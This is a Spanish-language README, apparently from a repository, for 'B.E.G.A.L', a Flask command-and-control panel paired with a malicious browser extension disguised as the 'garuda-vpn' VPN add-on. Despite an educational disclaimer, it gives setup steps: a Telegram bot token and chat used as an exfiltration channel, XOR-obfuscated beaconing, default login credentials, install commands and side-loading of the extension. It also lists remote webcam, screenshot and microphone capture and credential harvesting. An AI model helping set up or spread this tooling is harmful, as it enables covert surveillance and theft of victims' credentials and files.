
Panel de comando y control con Flask y Socket.IO, con un agente de extensión de navegador maliciosa que recolecta credenciales, exfiltra archivos vía Telegram y emite comandos remotos de webcam, captura de pantalla y micrófono.
B.E.G.A.L (Backdoor Exfiltration Gateway for Advanced Looting) es un panel interactivo de Comando y Control (C2) basado en web, construido con Python (Flask y Socket.IO). Esta plataforma está diseñada específicamente para facilitar la investigación en ciberseguridad, simulaciones de Red Teaming y fines educativos para comprender cómo operan el malware/botnets modernos al exfiltrar datos y controlar objetivos (bots) de forma remota.
ESTE PROYECTO FUE CREADO ÚNICAMENTE CON FINES EDUCATIVOS Y DE INVESTIGACIÓN EN CIBERSEGURIDAD.
Cualquier uso indebido de esta herramienta para actividades ilegales, ataques no autorizados a sistemas, robo de datos u otros ciberdelitos está ESTRICTAMENTE PROHIBIDO. El autor, los desarrolladores y los colaboradores no asumen ninguna responsabilidad por pérdidas, daños o acciones legales derivadas del uso de este software.
Usted es completamente responsable de sus propias acciones. Al utilizar esta herramienta, acepta cumplir con todas las leyes aplicables:
config.yaml para una mejor seguridad y una personalización más sencilla.Trigger Webcam (Acceder a la cámara del objetivo)Trigger Screenshot (Capturar la pantalla del escritorio del objetivo)Trigger Mic (Grabar el audio del objetivo)/report).
config.yaml)En la última versión de B.E.G.A.L, el sistema de ajustes se ha vuelto dinámico mediante un archivo de configuración YAML. Si este archivo no existe, el sistema lo generará automáticamente (con valores predeterminados) la primera vez que se ejecute begal-fixed.py.
Abra el archivo config.yaml creado en el mismo directorio y ajuste los siguientes parámetros:
BOT_TOKEN: 'YOUR_BOT_TOKEN'
CHAT_ID: 'YOUR_CHAT_ID'
XOR_KEY: 'FLIPPER_SECURE_XOR_KEY_1337'
BCRYPT_PASSWORD_HASH: '$2a$12$VZnosb4amZbO1uQ4MniFhuFiqZVEmCF.3p1jXVoiXnG/3oztPLdxe'
BOT_TOKEN: El token de API para tu bot de Telegram (crea uno mediante @BotFather).CHAT_ID: El ID del canal/grupo de Telegram utilizado como túnel de exfiltración de datos.XOR_KEY: Una clave criptográfica simétrica utilizada para ofuscar la transmisión de datos entre el bot y el servidor C2. Asegúrate de que este valor coincida con el de la extensión del navegador.BCRYPT_PASSWORD_HASH: El hash para el inicio de sesión del C2 (Contraseña predeterminada: datalost1337).DEFAULT USERNAME C2: flippergaruda-vpn)B.E.G.A.L está diseñado para funcionar en conjunto con un "agente" o payload. En este repositorio, el agente toma la forma de una extensión de navegador maliciosa (addon) disfrazada como garuda-vpn.
Cómo Funciona la Integración:
garuda-vpn contiene el payload malicioso (por ejemplo, background.js, content.js y manifest.json). Esta extensión debe instalarse en el navegador objetivo (por ejemplo, mediante el modo Load unpacked en Chrome/Edge).garuda-vpn se cifrarán usando la XOR_KEY y se transmitirán silenciosamente (beaconing) a los endpoints de la API del C2 de B.E.G.A.L (como /api/v1/collector).garuda-vpn, que luego fuerza la ejecución de la API de la webcam en el navegador objetivo.python3 begal-c2.py).chrome://extensions en la barra de URL. Habilita el Modo de desarrollador.garuda-vpn.pip install bcrypt Flask-SocketIO requests pyyaml
python3 begal-c2.py
datalost1337)